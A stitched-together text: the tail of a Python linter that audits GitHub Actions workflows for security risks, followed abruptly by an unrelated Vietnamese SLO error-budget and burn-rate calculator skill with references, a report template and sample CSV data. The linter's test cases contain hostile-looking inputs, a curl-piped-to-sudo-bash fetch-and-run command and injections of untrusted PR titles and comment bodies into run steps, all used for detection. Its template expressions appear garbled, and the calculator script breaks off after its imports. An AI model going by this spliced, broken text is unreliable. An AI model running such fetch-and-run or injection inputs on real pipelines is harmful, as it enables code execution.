on: pull_request: permissions: contents: read jobs: test: runs-on: ubuntu-latest timeout-minutes: 15 steps: - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0 with: persist-credentials: false - name: Test env: PR_TITLE: { github.event.pull_request.title} run: | echo "Testing $PR_TITLE" make test """ def self_test(): cases = [] def ok(name, cond): cases.append((name, bool(cond))) def rules(text): return [(f["rule"], f["severity"]) for f in audit_text(text)["findings"]] ok("safe workflow has no findings", rules(SAFE) == []) ok("triggers parsed from block", audit_text(SAFE)["triggers"] == ["pull_request"]) ok("triggers parsed from list", audit_text("on: [push, pull_request]\njobs: {}\n")["triggers"] == ["pull_request", "push"]) inj = SAFE.replace('echo "Testing $PR_TITLE"', 'echo "{ github.event.pull_request.title}"') ok("title in run is GHA002 high", ("GHA002", "high") in rules(inj)) ok("head_ref in run is GHA002", ("GHA002", "high") in rules(SAFE.replace("make test", "git push origin { github.head_ref}"))) ok("comment body in github-script", ("GHA002", "high") in rules(SAFE.replace("run: |", "script: |") .replace("make test", "core.info('{ github.event.comment.body}')"))) ok("env indirection is not flagged", not any(r == "GHA002" for r, _ in rules(SAFE))) ok("PR number is safe", rules(SAFE.replace("make test", "echo { github.event.pull_request.number}")) == []) ok("tag pin on actions/* is GHA003 low", ("GHA003", "low") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@v4"))) ok("tag pin third party is medium", ("GHA003", "medium") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "acme/checkout@v1"))) ok("branch pin is GHA004 high", ("GHA004", "high") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@main"))) ok("local action not flagged", rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "./.github/actions/setup")) == []) ok("missing permissions is GHA005", ("GHA005", "medium") in rules(SAFE.replace("permissions:\n contents: read\n", ""))) ok("job-level permissions satisfy GHA005", rules(SAFE.replace("permissions:\n contents: read\n", "").replace(" timeout-minutes: 15\n", " timeout-minutes: 15\n permissions:\n contents: read\n")) == []) ok("write-all is GHA006", ("GHA006", "high") in rules(SAFE.replace("permissions:\n contents: read", "permissions: write-all"))) ok("echoed secret is GHA007 high", ("GHA007", "high") in rules(SAFE.replace("make test", "echo { secrets.NPM_TOKEN}"))) ok("inline secret is GHA007 medium", ("GHA007", "medium") in rules(SAFE.replace("make test", "npm publish --token { secrets.NPM_TOKEN}"))) ok("curl | bash is GHA008", ("GHA008", "medium") in rules(SAFE.replace("make test", "curl -fsSL https://x.sh | sudo bash"))) ok("self-hosted on PR is GHA009", ("GHA009", "medium") in rules(SAFE.replace("ubuntu-latest", "[self-hosted, linux]"))) ok("self-hosted on push is fine", rules(SAFE.replace("pull_request:", "push:").replace("ubuntu-latest", "self-hosted")) == []) ok("unsecure commands is GHA010", ("GHA010", "high") in rules(SAFE.replace("PR_TITLE: { github.event.pull_request.title}", "ACTIONS_ALLOW_UNSECURE_COMMANDS: true"))) ok("checkout without persist-credentials is GHA011", ("GHA011", "low") in rules(SAFE.replace(" with:\n persist-credentials: false\n", ""))) ok("missing timeout is GHA012", ("GHA012", "low") in rules(SAFE.replace(" timeout-minutes: 15\n", ""))) ok("docker tag is GHA013", ("GHA013", "low") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0", "docker://alpine:3.20"))) prt = SAFE.replace("pull_request:", "pull_request_target:").replace("persist-credentials: false", "persist-credentials: false\n ref: { github.event.pull_request.head.sha}") ok("pull_request_target + head checkout is GHA001", ("GHA001", "high") in rules(prt)) ok("pull_request + head checkout is not GHA001", not any(r == "GHA001" for r, _ in rules(SAFE.replace("persist-credentials: false", "persist-credentials: false\n ref: { github.event.pull_request.head.sha}")))) wr = SAFE.replace("pull_request:", "workflow_run:\n workflows: [CI]").replace(" - name: Test", " - uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5\n - name: Test") ok("workflow_run + download-artifact is GHA014", ("GHA014", "medium") in rules(wr)) ok("comment with # in string kept", strip_comment('run: echo "a # b" # note') == 'run: echo "a # b"') md = to_markdown([audit_text(inj, "ci.yml")]) ok("markdown lists file and rule", "## ci.yml" in md and "GHA002" in md) passed = sum(c for _, c in cases) for name, c in cases: print(("PASS " if c else "FAIL ") + name) print(f"{passed}/{len(cases)} passed") return 0 if passed == len(cases) else 1 def main(argv=None): ap = argparse.ArgumentParser(description="Lint GitHub Actions workflow files for security risks.") ap.add_argument("files", nargs="*", help="workflow .yml files ('-' for stdin)") ap.add_argument("--json", action="store_true") ap.add_argument("--strict", action="store_true", help="exit 1 on any finding") ap.add_argument("--self-test", action="store_true") a = ap.parse_args(argv) if a.self_test: return self_test() if not a.files: ap.error("at least one workflow file required (or --self-test)") results = [] for p in a.files: try: text = sys.stdin.read() if p == "-" else open(p, encoding="utf-8").read() except OSError as e: print(f"error: {e}", file=sys.stderr) return 2 results.append(audit_text(text, p)) print(json.dumps(results, indent=2) if a.json else to_markdown(results)) allf = [f for r in results for f in r["findings"]] if any(f["severity"] == "high" for f in allf) or (a.strict and allf): return 1 return 0 if __name__ == "__main__": sys.exit(main())
Chuyển đổi số lượng yêu cầu thành các chỉ số trả lời cho SLO: SLI, ngân sách lỗi cho khung thời gian 28 ngày hoặc 30 ngày, ngân sách đã tiêu thụ và còn lại, tốc độ tiêu hao (burn rate) trong khoảng từ 5 phút đến 3 ngày, cảnh báo tốc độ tiêu hao đa khung thời gian (gọi trực khẩn cấp ở mức 14.4x và 6x, tạo ticket ở mức 3x và 1x, được quy đổi theo khung thời gian), và thời gian cho đến khi cạn kiệt ngân sách. Sử dụng khi thiết lập SLO, tinh chỉnh cảnh báo, quyết định đóng băng phát hành hoặc viết tóm tắt sự cố. Bao gồm một công cụ tính bằng Python dùng thư viện chuẩn với tùy chọn --self-test.
---
name: slo-error-budget-burn-rate-calculator
description: Chuyển đổi số lượng yêu cầu thành các chỉ số trả lời cho SLO: SLI, ngân sách lỗi cho khung thời gian 28 ngày hoặc 30 ngày, ngân sách đã tiêu thụ và còn lại, tốc độ tiêu hao (burn rate) trong khoảng từ 5 phút đến 3 ngày, cảnh báo tốc độ tiêu hao đa khung thời gian (gọi trực khẩn cấp ở mức 14.4x và 6x, tạo ticket ở mức 3x và 1x, được quy đổi theo khung thời gian), và thời gian cho đến khi cạn kiệt ngân sách. Sử dụng khi thiết lập SLO, tinh chỉnh cảnh báo, quyết định đóng băng phát hành hoặc viết tóm tắt sự cố. Bao gồm một công cụ tính bằng Python dùng thư viện chuẩn với tùy chọn --self-test.
---
# Công Cụ Tính Ngân Sách Lỗi và Tốc Độ Tiêu Hao SLO
Bạn giúp các kỹ sư và đội ngũ trực sự cố (on-call) đánh giá độ tin cậy của hệ thống dựa trên số liệu thay vì cảm tính. Bạn chuyển đổi số lượng yêu cầu thành công/tổng số yêu cầu thành chỉ số SLI, quy đổi mục tiêu SLO thành ngân sách lỗi (error budget), chỉ ra tốc độ tiêu hao ngân sách qua nhiều khung thời gian, cho biết cảnh báo nào cần gọi trực khẩn cấp (page) hoặc mở ticket, đồng thời ước tính thời điểm ngân sách sẽ cạn kiệt nếu giữ nguyên tốc độ hiện tại. Bạn giải thích từng con số bằng ngôn ngữ dễ hiểu để các chủ sản phẩm (product owner) có thể nắm bắt và đưa ra quyết định.
## Các tệp trong kỹ năng này
- `scripts/slo_budget.py` - đọc tệp CSV chứa số lượng yêu cầu theo từng khoảng thời gian và in ra SLI, ngân sách đã tiêu thụ và còn lại, tốc độ tiêu hao, trạng thái cảnh báo, thời gian dự kiến cạn kiệt và khoảng thời gian tệ nhất; tùy chọn `--allowance` in ra thời gian ngừng hoạt động cho phép và ngưỡng cảnh báo cho bất kỳ mức SLO nào (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/slo-math.md` - công thức tính SLI, ngân sách lỗi, tốc độ tiêu hao, mức tiêu thụ dự kiến và các con số tính sẵn cho những mục tiêu phổ biến
- `references/burn-rate-alerting.md` - chính sách cảnh báo đa khung thời gian, đa tốc độ tiêu hao, cách các ngưỡng thay đổi theo khung thời gian và lời khuyên tinh chỉnh
- `templates/slo-status-report.md` - mẫu báo cáo trạng thái SLO hàng tuần hoặc tóm tắt ngân sách sau sự cố
- `examples/checkout-api-requests.csv` - dữ liệu số lượng yêu cầu theo từng khoảng 15 phút trong hai ngày của một API thanh toán, có một đợt gián đoạn nhỏ và một sự cố kéo dài 2 giờ ở cuối kỳ
## Quy trình làm việc
### 1. Xác định SLI và SLO
Hỏi rõ thế nào được coi là một sự kiện "tốt" (mã trạng thái < 500, độ trễ dưới 300 ms, tác vụ chạy thành công), dữ liệu đếm lấy từ đâu, mục tiêu là bao nhiêu (99%, 99.5%, 99.9%, 99.95%), và khung thời gian tính là gì (28 hoặc 30 ngày trượt). Hãy phản biện lại những mục tiêu mà hệ thống chưa từng đạt được trong thực tế: luôn hiển thị chỉ số SLI lịch sử trước tiên.
### 2. Thu thập dữ liệu
Xuất số lượng sự kiện tốt và tổng số sự kiện (hoặc sự kiện lỗi và tổng số sự kiện) theo từng khoảng thời gian, ví dụ các khung 1 phút, 5 phút hoặc 15 phút, dưới dạng tệp CSV với các cột `timestamp,total,good`. Cột timestamp đánh dấu thời điểm bắt đầu của mỗi khoảng thời gian. Sử dụng múi giờ UTC.
### 3. Chạy công cụ tính
```
python3 scripts/slo_budget.py examples/checkout-api-requests.csv --slo 99.9 --window 30d
python3 scripts/slo_budget.py requests.csv --slo 99.5 --window 28d --json > slo.json
python3 scripts/slo_budget.py requests.csv --now 2026-10-19T22:00:00Z
python3 scripts/slo_budget.py --allowance --slo 99.95 --window 30d
python3 scripts/slo_budget.py --self-test
```
Mã thoát (exit code) bằng 1 có nghĩa là cảnh báo gọi trực khẩn cấp (page alert) đang kích hoạt hoặc ngân sách đã cạn kiệt; bằng 2 có nghĩa là dữ liệu đầu vào không hợp lệ (thiếu cột, số lỗi > tổng số, không phân tích được định dạng timestamp).
### 4. Diễn giải kết quả
- Tốc độ tiêu hao (burn rate) bằng 1.0 nghĩa là tiêu thụ vừa hết ngân sách khi kết thúc khung thời gian; mức 14.4 duy trì trong một giờ sẽ tiêu tốn 2% ngân sách của cả 30 ngày.
- Ngân sách đã tiêu thụ được phóng chiếu dựa trên lưu lượng truy cập ghi nhận được cho đến hiện tại; nếu dữ liệu chưa đủ một khung thời gian đầy đủ, hãy nêu rõ điều đó.
- Một cảnh báo chỉ kích hoạt khi cả khung thời gian dài và khung thời gian ngắn của nó đều vượt ngưỡng; khung thời gian ngắn giúp cảnh báo nhanh chóng tắt đi sau khi hệ thống phục hồi. Xem thêm trong `references/burn-rate-alerting.md`.
- Các khung thời gian ngắn hơn bước nhảy dữ liệu sẽ được làm tròn lên thành một bước nhảy; các khung thời gian dài hơn tổng thời lượng dữ liệu sẽ có trạng thái là "not evaluable" (không thể đánh giá).
### 5. Đưa ra khuyến nghị và báo cáo
Gắn kết các con số với một quyết định cụ thể: gọi trực khẩn cấp ngay, mở ticket, làm chậm các đợt phát hành tiềm ẩn rủi ro khi ngân sách còn lại thấp, hoặc nới lỏng một SLO vốn luôn bị vi phạm do đặc thù thiết kế. Điền thông tin vào `templates/slo-status-report.md`.
## Kết quả ví dụ
Đối với `examples/checkout-api-requests.csv` ở mức SLO 99.9% trong 30 ngày: SLI đạt 99.8768%, đã tiêu thụ 8.2% ngân sách, tốc độ tiêu hao trong 1h là 26.46 và trong 5m là 28.06 nên cảnh báo gọi trực nhanh được kích hoạt, tốc độ tiêu hao trong 6h là 5.83 nằm ngay dưới ngưỡng 6.0, cảnh báo ticket 3d ở trạng thái không thể đánh giá (not evaluable) vì chỉ có hai ngày dữ liệu, và với tốc độ của giờ cuối cùng thì ngân sách sẽ cạn sạch sau khoảng 1 ngày 16 giờ. Mã thoát là 1.
## Quy tắc
- Luôn nêu rõ SLO, khung thời gian, phạm vi dữ liệu và bất kỳ khoảng thời gian bị thiếu nào kèm theo mỗi kết quả.
- Không trộn lẫn nhiều định nghĩa sự kiện tốt vào chung một SLI; hãy tính các SLO riêng biệt cho độ sẵn sàng (availability) và độ trễ (latency).
- SLO là công cụ hỗ trợ ra quyết định, không phải công cụ quy trách nhiệm: hãy mô tả tác động lên người dùng, không nhằm vào cá nhân.
- Không tự bịa ra số liệu lưu lượng truy cập; nếu thiếu dữ liệu đếm, hãy yêu cầu cung cấp hoặc nêu rõ kết quả nào không thể tính toán được.
FILE:references/slo-math.md
# Toán Học Trong SLO
## Các định nghĩa
- **SLI** (service level indicator - chỉ số mức dịch vụ) = số sự kiện tốt / tổng số sự kiện, tính theo phần trăm.
- **SLO** (objective - mục tiêu mức dịch vụ) = mức SLI mục tiêu trong một khung thời gian, ví dụ: 99.9% yêu cầu thành công trong 30 ngày trượt.
- **Ngân sách lỗi (Error budget)** = 1 - SLO = tỷ lệ sự kiện được phép thất bại. Mức 99.9% -> 0.1%.
- **Ngân sách tính theo số sự kiện** = (1 - SLO) x tổng số sự kiện trong khung thời gian.
- **Tỷ lệ lỗi (Error rate)** trong một khung thời gian = số sự kiện lỗi / tổng số sự kiện trong khung thời gian đó.
- **Tốc độ tiêu hao (Burn rate)** = tỷ lệ lỗi / (1 - SLO). Mức 1.0 có nghĩa là ngân sách sẽ được sử dụng vừa hết vào thời điểm kết thúc khung thời gian.
## Mức tiêu thụ dự kiến với dữ liệu một phần
Với D giây dữ liệu thực tế và W giây của khung thời gian SLO:
- số yêu cầu dự kiến trong toàn khung = (số yêu cầu trong dữ liệu / D) x W
- số lỗi cho phép = (1 - SLO) x số yêu cầu dự kiến
- tỷ lệ đã tiêu thụ = số lỗi trong dữ liệu / số lỗi cho phép
- thời gian cho đến khi cạn kiệt theo tốc độ gần đây = (số lỗi cho phép - số lỗi tính đến hiện tại) / (số lỗi mỗi giây trong khung thời gian gần đây đó)
## Thời gian ngừng hoạt động hoàn toàn tối đa cho phép
| SLO | mỗi 30 ngày | mỗi 28 ngày | mỗi tuần | mỗi ngày |
|---|---|---|---|---|
| 99% | 7h 12m | 6h 43m 12s | 1h 40m 48s | 14m 24s |
| 99.5% | 3h 36m | 3h 21m 36s | 50m 24s | 7m 12s |
| 99.9% | 43m 12s | 40m 19s | 10m 5s | 1m 26s |
| 99.95% | 21m 36s | 20m 10s | 5m 2s | 43s |
| 99.99% | 4m 19s | 4m 2s | 1m 0s | 9s |
Các SLO dựa trên số lượng yêu cầu không phụ thuộc trực tiếp vào thời gian đồng hồ: 10 phút bị lỗi 50% sẽ tiêu tốn lượng ngân sách tương đương với 5 phút ngừng hoạt động hoàn toàn nếu có cùng lưu lượng truy cập, và một sự cố ngừng hoạt động lúc 3 giờ sáng sẽ tốn ít ngân sách hơn so với sự cố xảy ra vào giờ cao điểm.
## Ví dụ minh họa cách tính
SLO 99.9%, khung thời gian 30 ngày, 1,000,000 yêu cầu mỗi ngày.
- Ngân sách: 0.001 x 30,000,000 = 30,000 yêu cầu thất bại.
- Tỷ lệ lỗi 2% kéo dài trong một giờ ở mức lưu lượng 41,667 yêu cầu/giờ sẽ làm tiêu hao 833 lỗi = 2.8% ngân sách, tương ứng tốc độ tiêu hao là 20.
- Ở tốc độ tiêu hao bằng 20, toàn bộ ngân sách sẽ chỉ trụ được trong 30 ngày / 20 = 36 giờ.
## Các bẫy thường gặp
- Đếm các lần thử lại (retry) như những sự kiện tốt riêng biệt sẽ che giấu các lỗi mà người dùng thực sự gặp phải.
- Lưu lượng truy cập quá thấp (ban đêm, khu vực mới mở) khiến tỷ lệ lỗi bị nhiễu mạnh; hãy áp dụng số lượng yêu cầu tối thiểu hoặc dùng khung thời gian ngắn dài hơn.
- Các phép đo giả lập (synthetic probes) đo lường chính công cụ thăm dò chứ không phải người dùng thực tế; hãy gắn nhãn tách biệt cho chúng.
- Thay đổi SLO giữa chừng khung thời gian: hãy tính toán lại toàn bộ khung thời gian theo mục tiêu mới và ghi chú rõ điều này.
FILE:references/burn-rate-alerting.md
# Cảnh Báo Theo Tốc Độ Tiêu Hao (Burn-Rate Alerting)
## Chính sách mặc định (đa khung thời gian, đa tốc độ tiêu hao)
| Mức độ nghiêm trọng | Tỷ phần ngân sách | Khung dài | Khung ngắn | Ngưỡng tiêu hao (30d) | Ngưỡng tiêu hao (28d) |
|---|---|---|---|---|---|
| page | 2% | 1h | 5m | 14.4 | 13.44 |
| page | 5% | 6h | 30m | 6.0 | 5.6 |
| ticket | 10% | 1d | 2h | 3.0 | 2.8 |
| ticket | 10% | 3d | 6h | 1.0 | 0.93 |
Ngưỡng = tỷ phần ngân sách x khung thời gian SLO / khung dài. Ví dụ: 0.02 x 720h / 1h = 14.4.
## Tại sao cần kết hợp hai khung thời gian
- **Khung thời gian dài (long window)** chứng minh sự cố đủ nghiêm trọng (đã làm tiêu tốn một lượng ngân sách đáng kể).
- **Khung thời gian ngắn (short window)** (bằng khoảng 1/12 khung dài) chứng minh sự cố vẫn đang tiếp diễn, nhờ đó cảnh báo sẽ tự động tắt chỉ sau vài phút khi hệ thống phục hồi thay vì tiếp tục báo đỏ suốt cả tiếng đồng hồ.
- Chỉ phát cảnh báo khi cả hai khung thời gian cùng vượt ngưỡng.
## Ví dụ quy tắc cảnh báo (theo cú pháp Prometheus)
```
(
sum(rate(http_requests_errors_total[1h])) / sum(rate(http_requests_total[1h])) > (14.4 * 0.001)
and
sum(rate(http_requests_errors_total[5m])) / sum(rate(http_requests_total[5m])) > (14.4 * 0.001)
)
```
## Tinh chỉnh cảnh báo
- Các dịch vụ có lưu lượng thấp: yêu cầu số lượng yêu cầu tối thiểu trong khung ngắn, hoặc chỉ gọi trực khẩn cấp dựa trên khung 6h.
- Bị gọi trực quá nhiều lần: hãy kiểm tra xem SLO có đang đặt khắt khe hơn mức người dùng thực sự cần hay không trước khi nâng ngưỡng cảnh báo.
- Bỏ sót sự cố: các đợt tiêu hao âm ỉ dưới mức 1.0 theo thiết kế sẽ không bao giờ phát cảnh báo; hãy rà soát ngân sách hàng tuần.
- Bước nhảy dữ liệu thô hơn khung thời gian ngắn (ví dụ: dữ liệu gom theo từng khung 15 phút): khi đó khung ngắn sẽ bị quy về thành một khung dữ liệu duy nhất và việc phát hiện hệ thống phục hồi sẽ chậm hơn.
## Gợi ý chính sách quản lý ngân sách lỗi
- Đã tiêu thụ trên 50%: rà soát kỹ các thay đổi tiềm ẩn rủi ro, ưu tiên triển khai kiểu canary.
- Đã tiêu thụ trên 75%: đóng băng phát hành đối với các thay đổi không phải bản vá lỗi, ưu tiên công việc củng cố độ tin cậy lên hàng đầu.
- Cạn kiệt ngân sách: bắt buộc thực hiện họp rút kinh nghiệm sau sự cố (postmortem); đóng băng phát hành cho đến khi khung thời gian trượt phục hồi lại ngân sách.
FILE:templates/slo-status-report.md
# Trạng Thái SLO - <service> - <period or incident>
**SLI:** <what counts as good> **SLO:** <target>% trên khung trượt <28d/30d>
**Dữ liệu:** <start> đến <end> UTC, bước nhảy <interval>, thiếu <n> khoảng thời gian
**Công cụ tính:** `slo_budget.py --slo <target> --window <window>` (mã thoát <code>)
## Ngân sách
| Chỉ số | Giá trị |
|---|---|
| SLI trong kỳ | |
| Ngân sách đã tiêu thụ | |
| Ngân sách còn lại | |
| Thời gian ngừng hoạt động hoàn toàn cho phép mỗi khung | |
## Tốc độ tiêu hao (Burn rates)
| 5m | 30m | 1h | 2h | 6h | 1d | 3d |
|---|---|---|---|---|---|---|
| | | | | | | |
## Cảnh báo
| Chính sách | Trạng thái | Mức tiêu hao dài / ngắn |
|---|---|---|
| page 1h/5m | | |
| page 6h/30m | | |
| ticket 1d/2h | | |
| ticket 3d/6h | | |
## Chuyện gì đã xảy ra
<khoảng thời gian tệ nhất, tác động tới người dùng, nguyên nhân nếu đã rõ>
## Quyết định
- [ ] Gọi trực khẩn cấp / mở sự cố
- [ ] Chính sách phát hành: <bình thường / thận trọng / đóng băng> vì <ngân sách còn lại>
- [ ] Tinh chỉnh SLO hoặc cảnh báo: <nội dung thay đổi và lý do>
## Tóm tắt dành cho các bên liên quan
> <service> đạt mức <SLI>% so với mục tiêu <target>%. Đã sử dụng <x>% ngân sách lỗi của khung thời gian này; với tốc độ hiện tại, ngân sách sẽ duy trì được trong <time>. Bước tiếp theo: <decision>.
FILE:examples/checkout-api-requests.csv
timestamp,total,good
2026-10-18T00:00:00Z,4757,4755
2026-10-18T00:15:00Z,4525,4523
2026-10-18T00:30:00Z,4313,4311
2026-10-18T00:45:00Z,4122,4120
2026-10-18T01:00:00Z,3951,3949
2026-10-18T01:15:00Z,3803,3801
2026-10-18T01:30:00Z,3678,3676
2026-10-18T01:45:00Z,3577,3576
2026-10-18T02:00:00Z,3500,3498
2026-10-18T02:15:00Z,3448,3446
2026-10-18T02:30:00Z,3421,3419
2026-10-18T02:45:00Z,3019,3018
2026-10-18T03:00:00Z,3044,3043
2026-10-18T03:15:00Z,3093,3092
2026-10-18T03:30:00Z,3169,3168
2026-10-18T03:45:00Z,3270,3268
2026-10-18T04:00:00Z,3396,3394
2026-10-18T04:15:00Z,3547,3545
2026-10-18T04:30:00Z,3722,3720
2026-10-18T04:45:00Z,3921,3919
2026-10-18T05:00:00Z,4143,4141
2026-10-18T05:15:00Z,4388,4386
2026-10-18T05:30:00Z,4253,4251
2026-10-18T05:45:00Z,4539,4537
2026-10-18T06:00:00Z,4845,4843
2026-10-18T06:15:00Z,5168,5166
2026-10-18T06:30:00Z,5509,5507
2026-10-18T06:45:00Z,5865,5863
2026-10-18T07:00:00Z,6236,6234
2026-10-18T07:15:00Z,6619,6616
2026-10-18T07:30:00Z,7013,7009
2026-10-18T07:45:00Z,7418,7414
2026-10-18T08:00:00Z,7831,7827
2026-10-18T08:15:00Z,7850,7847
2026-10-18T08:30:00Z,8274,8271
2026-10-18T08:45:00Z,8702,8699
2026-10-18T09:00:00Z,9132,9127
2026-10-18T09:15:00Z,9561,9556
2026-10-18T09:30:00Z,9989,9984
2026-10-18T09:45:00Z,10413,10408
2026-10-18T10:00:00Z,10832,10827
2026-10-18T10:15:00Z,11245,11240
2026-10-18T10:30:00Z,11650,11645
2026-10-18T10:45:00Z,12044,12038
2026-10-18T11:00:00Z,12028,12022
2026-10-18T11:15:00Z,12398,12392
2026-10-18T11:30:00Z,12754,12748
2026-10-18T11:45:00Z,13095,13089
2026-10-18T12:00:00Z,13418,13412
2026-10-18T12:15:00Z,13724,13719
2026-10-18T12:30:00Z,14010,14003
2026-10-18T12:45:00Z,14275,14268
2026-10-18T13:00:00Z,14520,14513
2026-10-18T13:15:00Z,14742,14735
2026-10-18T13:30:00Z,14941,14934
2026-10-18T13:45:00Z,14716,14710
2026-10-18T14:00:00Z,14867,14861
2026-10-18T14:15:00Z,14993,14985
2026-10-18T14:30:00Z,15094,15086
2026-10-18T14:45:00Z,15170,15163
2026-10-18T15:00:00Z,15220,15213
2026-10-18T15:15:00Z,15244,15237
2026-10-18T15:30:00Z,15242,15236
2026-10-18T15:45:00Z,15215,15209
2026-10-18T16:00:00Z,15163,15155
2026-10-18T16:15:00Z,14686,14679
2026-10-18T16:30:00Z,14585,14578
2026-10-18T16:45:00Z,14460,14453
2026-10-18T17:00:00Z,14312,14306
2026-10-18T17:15:00Z,14141,14135
2026-10-18T17:30:00Z,13950,13866
2026-10-18T17:45:00Z,13738,13656
2026-10-18T18:00:00Z,13506,13499
2026-10-18T18:15:00Z,13257,13251
2026-10-18T18:30:00Z,12990,12984
2026-10-18T18:45:00Z,12708,12702
2026-10-18T19:00:00Z,12012,12007
2026-10-18T19:15:00Z,11702,11697
2026-10-18T19:30:00Z,11382,11376
2026-10-18T19:45:00Z,11051,11045
2026-10-18T20:00:00Z,10712,10707
2026-10-18T20:15:00Z,10367,10362
2026-10-18T20:30:00Z,10017,10013
2026-10-18T20:45:00Z,9663,9659
2026-10-18T21:00:00Z,9308,9304
2026-10-18T21:15:00Z,8952,8947
2026-10-18T21:30:00Z,8598,8594
2026-10-18T21:45:00Z,7848,7844
2026-10-18T22:00:00Z,7503,7500
2026-10-18T22:15:00Z,7164,7161
2026-10-18T22:30:00Z,6833,6830
2026-10-18T22:45:00Z,6513,6510
2026-10-18T23:00:00Z,6204,6201
2026-10-18T23:15:00Z,5907,5904
2026-10-18T23:30:00Z,5625,5622
2026-10-18T23:45:00Z,5358,5356
2026-10-19T00:00:00Z,5109,5107
2026-10-19T00:15:00Z,4877,4875
2026-10-19T00:30:00Z,4265,4263
2026-10-19T00:45:00Z,4074,4072
2026-10-19T01:00:00Z,3903,3901
2026-10-19T01:15:00Z,3755,3753
2026-10-19T01:30:00Z,3630,3628
2026-10-19T01:45:00Z,3529,3527
2026-10-19T02:00:00Z,3452,3451
2026-10-19T02:15:00Z,3400,3399
2026-10-19T02:30:00Z,3373,3371
2026-10-19T02:45:00Z,3371,3369
2026-10-19T03:00:00Z,3396,3394
2026-10-19T03:15:00Z,3045,3044
2026-10-19T03:30:00Z,3121,3120
2026-10-19T03:45:00Z,3222,3221
2026-10-19T04:00:00Z,3348,3347
2026-10-19T04:15:00Z,3499,3497
2026-10-19T04:30:00Z,3674,3672
2026-10-19T04:45:00Z,3873,3871
2026-10-19T05:00:00Z,4095,4093
2026-10-19T05:15:00Z,4340,4338
2026-10-19T05:30:00Z,4605,4603
2026-10-19T05:45:00Z,4491,4489
2026-10-19T06:00:00Z,4797,4795
2026-10-19T06:15:00Z,5120,5117
2026-10-19T06:30:00Z,5461,5458
2026-10-19T06:45:00Z,5817,5814
2026-10-19T07:00:00Z,6188,6185
2026-10-19T07:15:00Z,6571,6568
2026-10-19T07:30:00Z,6965,6962
2026-10-19T07:45:00Z,7370,7366
2026-10-19T08:00:00Z,7783,7779
2026-10-19T08:15:00Z,8202,8198
2026-10-19T08:30:00Z,8226,8222
2026-10-19T08:45:00Z,8654,8650
2026-10-19T09:00:00Z,9084,9080
2026-10-19T09:15:00Z,9513,9509
2026-10-19T09:30:00Z,9941,9936
2026-10-19T09:45:00Z,10365,10360
2026-10-19T10:00:00Z,10784,10779
2026-10-19T10:15:00Z,11197,11192
2026-10-19T10:30:00Z,11602,11597
2026-10-19T10:45:00Z,11996,11991
2026-10-19T11:00:00Z,12380,12375
2026-10-19T11:15:00Z,12350,12344
2026-10-19T11:30:00Z,12706,12700
2026-10-19T11:45:00Z,13047,13041
2026-10-19T12:00:00Z,13370,13364
2026-10-19T12:15:00Z,13676,13670
2026-10-19T12:30:00Z,13962,13956
2026-10-19T12:45:00Z,14227,14221
2026-10-19T13:00:00Z,14472,14464
2026-10-19T13:15:00Z,14694,14687
2026-10-19T13:30:00Z,14893,14886
2026-10-19T13:45:00Z,15068,15061
2026-10-19T14:00:00Z,14819,14812
2026-10-19T14:15:00Z,14945,14939
2026-10-19T14:30:00Z,15046,15040
2026-10-19T14:45:00Z,15122,15114
2026-10-19T15:00:00Z,15172,15164
2026-10-19T15:15:00Z,15196,15189
2026-10-19T15:30:00Z,15194,15187
2026-10-19T15:45:00Z,15167,15160
2026-10-19T16:00:00Z,15115,15109
2026-10-19T16:15:00Z,15038,15032
2026-10-19T16:30:00Z,14937,14929
2026-10-19T16:45:00Z,14412,14405
2026-10-19T17:00:00Z,14264,14257
2026-10-19T17:15:00Z,14093,14087
2026-10-19T17:30:00Z,13902,13896
2026-10-19T17:45:00Z,13690,13684
2026-10-19T18:00:00Z,13458,13453
2026-10-19T18:15:00Z,13209,13202
2026-10-19T18:30:00Z,12942,12936
2026-10-19T18:45:00Z,12660,12654
2026-10-19T19:00:00Z,12364,12358
2026-10-19T19:15:00Z,11654,11649
2026-10-19T19:30:00Z,11334,11329
2026-10-19T19:45:00Z,11003,10999
2026-10-19T20:00:00Z,10664,10658
2026-10-19T20:15:00Z,10319,10314
2026-10-19T20:30:00Z,9969,9964
2026-10-19T20:45:00Z,9615,9611
2026-10-19T21:00:00Z,9260,9256
2026-10-19T21:15:00Z,8904,8900
2026-10-19T21:30:00Z,8550,8547
2026-10-19T21:45:00Z,8200,8196
2026-10-19T22:00:00Z,7455,7298
2026-10-19T22:15:00Z,7116,6959
2026-10-19T22:30:00Z,6785,6629
2026-10-19T22:45:00Z,6465,6310
2026-10-19T23:00:00Z,6156,6002
2026-10-19T23:15:00Z,5859,5707
2026-10-19T23:30:00Z,5577,5426
2026-10-19T23:45:00Z,5310,5161
FILE:scripts/slo_budget.py
#!/usr/bin/env python3
"""SLO error budget and burn rate calculator (Python 3 standard library only).
Input: CSV with one row per interval, the timestamp marking the START of the interval, and request
counts. Accepted columns (case-insensitive): timestamp|time|ts, total|requests|count, and either
good|success|ok or bad|errors|failed. Timestamps: ISO 8601 (Z or offset) or Unix seconds.
Math (see references/slo-math.md):
error budget (fraction) = 1 - SLO e.g. 99.9% -> 0.001
error rate over window = sum(bad) / sum(total)
burn rate = error rate / (1 - SLO) 1.0 = spends exactly the budget over the SLO window
budget consumed so far = sum(bad) / ((1 - SLO) * expected requests in the SLO window)
alert threshold = budget share * window hours / long window hours (14.4 = 2% of 30d in 1h)
Default multiwindow, multi-burn-rate policy (Google SRE Workbook): page 2% in 1h (short 5m),
page 5% in 6h (short 30m), ticket 10% in 1d (short 2h), ticket 10% in 3d (short 6h). An alert fires
only when BOTH the long and the short window burn faster than the threshold. Windows shorter than
the data step are rounded up to one step; windows longer than the data are reported as not evaluable.
Usage:
python3 slo_budget.py requests.csv --slo 99.9 --window 30d
python3 slo_budget.py requests.csv --slo 99.5 --window 28d --json
python3 slo_budget.py --allowance --slo 99.95 --window 30d # downtime allowed, no CSV needed
python3 slo_budget.py --self-test
Exit code: 0 OK, 1 a page alert fires or the budget is exhausted, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import json
import re
import statistics
import sys
